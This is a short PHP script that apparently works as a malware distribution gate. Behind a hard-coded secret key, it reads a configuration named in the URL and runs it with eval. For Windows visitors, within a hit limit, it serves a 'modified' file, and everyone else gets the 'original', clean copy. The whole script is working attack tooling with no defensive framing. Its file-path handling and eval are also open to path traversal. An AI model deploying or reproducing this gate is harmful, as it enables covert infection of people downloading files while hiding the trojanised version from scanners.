<?php

if(!isset($_GET['key']) || ($_GET['key'] != 'YXNqaWFvaXNjYXMK')) {
   header("HTTP/1.0 404 Not Found");
   exit();
}

if(!isset($_GET['conf']) || !is_file('files/'.$_GET['conf'])) {
   header("HTTP/1.0 404 Not Found");
   exit();
}

$conffile = 'files/'.$_GET['conf'];
eval(file_get_contents($conffile));

$infect = true;

if(isset($conf['hits'])) {
   if($conf['hits'] > 0) {
      $conf['hits']--;
   } else {
      $infect = false;
   }
}

if(isset($conf['browsercheck']) && $conf['browsercheck']) {
   $info = get_browser();
   if(!in_array($info->platform, array('WinXP', 'WinVista', 'Win7', 'Win8'))) $infect = false;
}

$basedir = dirname($conffile).'/';

if($infect && isset($conf['modified']) && is_file($basedir.$conf['modified'])) {
   file_put_contents($conffile, '$conf = '.var_export($conf, true).';');
   $file = $basedir.$conf['modified'];
} else if(!$infect && isset($conf['original']) && is_file($basedir.$conf['original'])) {
   $file = $basedir.$conf['original'];
}

if($file) {
   header('Content-Type: '.(isset($conf['content-type']) ? $conf['content-type'] : 'application/octet-stream'));
   header('Content-Length: '.filesize($file));
   readfile($file);
} else {
   header("HTTP/1.0 404 Not Found");
}

?>
